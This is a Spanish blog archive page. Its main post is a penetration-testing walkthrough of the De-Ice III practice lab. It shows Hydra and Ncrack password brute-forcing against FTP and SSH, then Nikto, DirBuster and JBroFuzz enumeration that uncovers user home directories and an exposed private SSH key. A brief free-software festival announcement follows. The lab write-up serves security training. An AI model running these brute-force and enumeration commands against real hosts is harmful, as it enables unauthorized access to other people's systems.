Archive for abril, 2010

Continúa desde: Desarrollo del entorno De-Ice III – Enumeración de usuarios

Una vez hemos identificado los usarios válidos en el sistema, pasemos a realizar algunas pruebas de autenticación  a través de los servicios ofrecidos por el host. Veamos:

FTP

Hydra:

root@bt:~# hydra 192.168.2.100 ftp -s 21 -L usuarios.txt -P /pentest/passwords/wordlists/dicc.lst -t 36

SSH

Hydra:

root@bt:~# hydra 192.168.2.100 ftp -s 21 -L usuarios.txt -P /pentest/passwords/wordlists/dicc.lst -t 36

Ncrack:

root@bt:/usr/local/share/ncrack# ncrack 192.168.1.100:22 -P /pentest/passwords/wordlists/pass.txt

Después de mucho esperar mientras se llevaba a cabo los intentos de inicio de sesión con un usuario y password válido llegamos a la conclusión de que este no es un camino viable para acceder al sistema, pues las pruebas fueron realizadas con diccionarios en un comienzo básicos y compuestos por palabras comunes hasta diccionarios bastante robustos de millones de palabras, por lo tanto podemos afirmar que las contraseñas son complejas o los mecanismos de autenticación están medianamente asegurados.

Hagamos uso de varios identificadores de vulnerabilidades, configuraciones por defecto o archivos y directorios sensibles. Para ello primero usemos OWASP Dirbuster para identificar directorios y archivos.

Host 192.168.2.100

root@bt:/pentest/web/dirbuster# java -jar DirBuster-0.12.jar -H -u http://192.168.2.100/ -r
DirBuster: option requires an argument — r
Starting OWASP DirBuster 0.12 in headless mode
Starting dir/file list based brute forcing
Dir found: / – 200
Dir found: /cgi-bin/ – 403
Dir found: /icons/ – 200
File found: /level.html – 200
File found: /copyright.txt – 200
File found: /index2.html – 200

Host 192.168.2.101

root@bt:/pentest/web/dirbuster# java -jar DirBuster-0.12.jar -H -u http://192.168.2.101/ -r
DirBuster: option requires an argument — r
Starting OWASP DirBuster 0.12 in headless mode
Starting dir/file list based brute forcing
Dir found: / – 200
Dir found: /cgi-bin/ – 403
Dir found: /home/ – 403
Dir found: /icons/ – 200
File found: /200711_002.pdf – 200
File found: /200611_001.pdf – 200
File found: /200711_004.pdf – 200
File found: /Acceptable_Use_Policy.pdf – 200
File found: /Audit_Policy.pdf – 200
File found: /Email_Policy.pdf – 200

Ahora con Nikto en modo default

Host 192.168.2.100

root@bt:/pentest/web/nikto# perl nikto.pl -h 192.168.2.100
- Nikto v2.1.0
—————————————————————————
+ Target IP:          192.168.2.100
+ Target Hostname:    slax.example.net
+ Target Port:        80
+ Start Time:         2010-03-13 17:14:41
—————————————————————————
+ Server: Apache/2.0.55 (Unix) PHP/5.1.2
+ OSVDB-0: Apache/2.0.55 appears to be outdated (current is at least Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current.
+ OSVDB-0: PHP/5.1.2 appears to be outdated (current is at least 5.2.8)
+ OSVDB-0: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-0: DEBUG HTTP verb may show server debugging information
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings.
+ OSVDB-3268: /icons/: Directory indexing is enabled: /icons
+ OSVDB-3233: /icons/README: Apache default file found.
+ 3588 items checked: 8 item(s) reported on remote host
+ End Time:           2010-03-13 17:15:08 (27 seconds)
—————————————————————————
+ 1 host(s) tested

Host 192.168.2.101

root@bt:/pentest/web/nikto# perl nikto.pl -h 192.168.2.101
- Nikto v2.1.0
—————————————————————————
+ Target IP:          192.168.2.101
+ Target Hostname:    192.168.2.101
+ Target Port:        80
+ Start Time:         2010-03-13 17:16:25
—————————————————————————
+ Server: Apache/2.0.55 (Unix) PHP/5.1.2
+ OSVDB-0: Apache/2.0.55 appears to be outdated (current is at least Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current.
+ OSVDB-0: PHP/5.1.2 appears to be outdated (current is at least 5.2.8)
+ OSVDB-0: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-637: /~root/: Allowed to browse root’s home directory.
+ OSVDB-3268: /icons/: Directory indexing is enabled: /icons
+ OSVDB-3233: /icons/README: Apache default file found.
+ 3588 items checked: 7 item(s) reported on remote host
+ End Time:           2010-03-13 17:16:54 (29 seconds)
—————————————————————————
+ 1 host(s) tested

Además de las alertas sobre las versiones desactualizadas de software, podemos destacar la identificación del directorio de usuario root. (~root). Esto nos permite deducir que posiblemente existan diferentes directorios para los usuarios identificados. Veamos:

Con netcat

root@bt:/pentest/web/nikto# nc -v 192.168.2.101 80
192.168.2.101: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.2.101] 80 (www) open
GET /~root/ HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 12 Mar 2010 17:36:11 GMT
Server: Apache/2.0.55 (Unix) PHP/5.1.2
Content-Length: 557
Connection: close
Content-Type: text/html

root@bt:/pentest/web/nikto# nc -v 192.168.2.101 80
192.168.2.101: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.2.101] 80 (www) open
GET /~pirrip/ HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 12 Mar 2010 17:38:13 GMT
Server: Apache/2.0.55 (Unix) PHP/5.1.2
Content-Length: 561
Connection: close
Content-Type: text/html

root@bt:/pentest/web/nikto# nc -v 192.168.2.101 80
192.168.2.101: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.2.101] 80 (www) open
GET /~magwitch/ HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 12 Mar 2010 17:40:13 GMT
Server: Apache/2.0.55 (Unix) PHP/5.1.2
Content-Length: 565
Connection: close
Content-Type: text/html

root@bt:/pentest/web/nikto# nc -v 192.168.2.101 80
192.168.2.101: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.2.101] 80 (www) open
GET /~havisham/ HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 12 Mar 2010 17:42:27 GMT
Server: Apache/2.0.55 (Unix) PHP/5.1.2
Content-Length: 565
Connection: close
Content-Type: text/html

Otra herramienta que nos permite identificar posibles usuarios, archivos, directorios en un host, es la herramienta de Fuzzing JBroFuzz

Veamos:

Tenemos los posibles usuarios válidos del sistema:

pickwick
winkle
snodgrass
tupman
weller
tweller
havisham
magwitch
pirrip
nickleby
rnickleby
noggs
squeers
pinch
tapley
gamp
marley
scrooge
cratchit
sikes
dawkins
claypole
root

Los cuales a su vez pueden tener un directorio como el identificado para root

Basta entonces con agregarle el símbolo virgulilla (~) al comienzo de cada uno y anexarlo a las listas de fuzzing de  JBroFuzz.

0,http://192.168.2.101/~pickwick,404,Not Found,No,No
1,http://192.168.2.101/~winkle,404,Not Found,No,No
2,http://192.168.2.101/~snodgrass,404,Not Found,No,No
3,http://192.168.2.101/~tupman,404,Not Found,No,No
4,http://192.168.2.101/~weller,404,Not Found,No,No
5,http://192.168.2.101/~tweller,404,Not Found,No,No
6,http://192.168.2.101/~havisham,200,OK,No,No
7,http://192.168.2.101/~magwitch,200,OK,No,No
8,http://192.168.2.101/~pirrip,200,OK,No,No
9,http://192.168.2.101/~nickleby,404,Not Found,No,No
10,http://192.168.2.101/~rnickleby,404,Not Found,No,No
11,http://192.168.2.101/~noggs,404,Not Found,No,No
12,http://192.168.2.101/~squeers,404,Not Found,No,No
13,http://192.168.2.101/~pinch,404,Not Found,No,No
14,http://192.168.2.101/~tapley,404,Not Found,No,No
15,http://192.168.2.101/~gamp,404,Not Found,No,No
16,http://192.168.2.101/~marley,404,Not Found,No,No
17,http://192.168.2.101/~scrooge,404,Not Found,No,No
18,http://192.168.2.101/~cratchit,404,Not Found,No,No
19,http://192.168.2.101/~sikes,404,Not Found,No,No
20,http://192.168.2.101/~dawkins,404,Not Found,No,No
21,http://192.168.2.101/~claypole,404,Not Found,No,No
22,http://192.168.2.101/~root,200,OK,No,No

Las líneas que están en negrita corresponden a ubicaciones reales y activas en el servidor objetivo

~havisham
~magwitch
~pirrip
~root

Hagamos ahora una exploración de directorios y archivos mediante JBroFuzz a los directorios raíz del server y de los usuarios identificados.

Al host 192.168.2.100

4,http://192.168.2.100//icons/,200,OK,No,No
784,http://192.168.2.100//index.php/123,200,OK,No,No
802,http://192.168.2.100//info.php,200,OK,No,No (Y)

Al host 192.1682.101

4,http://192.168.2.101//icons/,200,OK,No,No

Ahora a los directorios identificados para los usuarios:

Usuario havisham:

Ningún resultado de interés

Usuario magwitch:

Ningún resultado de interés

Usuario pirrip:

385,http://192.168.2.101/~pirrip//.ssh,200,OK,No,No

Usuario root:

Ningún resultado de interés

Vemos entonces como pudimos identificar la existencia del directorio .ssh para el usuario pirrip

http://192.168.2.101/~pirrip//.ssh/

Index of /~pirrip//.ssh

Icon  Name                    Last modified      Size  Description

[DIR] Parent Directory - [   ] id_rsa 05-Jan-2008 20:29 1.6K [   ] id_rsa.pub 05-Jan-2008 20:29 393
Apache/2.0.55 (Unix) PHP/5.1.2 Server at 192.168.2.101 Port 80

En el próximo post veremos como podemos utilizar la información obtenida para penetrar el sistema.

FLISOL 2010 Medellín

Posted by 4v4t4r On abril - 5 - 2010

En abril regresa a Medellín el Festival de difusión de Software Libre más grande de Latinoamérica. Esta vez se realizará el día sábado 24 de abril en la nueva sede del Museo de Arte Moderno (MAMM) en Sede Ciudad del Río entre las 9 a.m. y las 5 p.m.

Read the rest of this entry »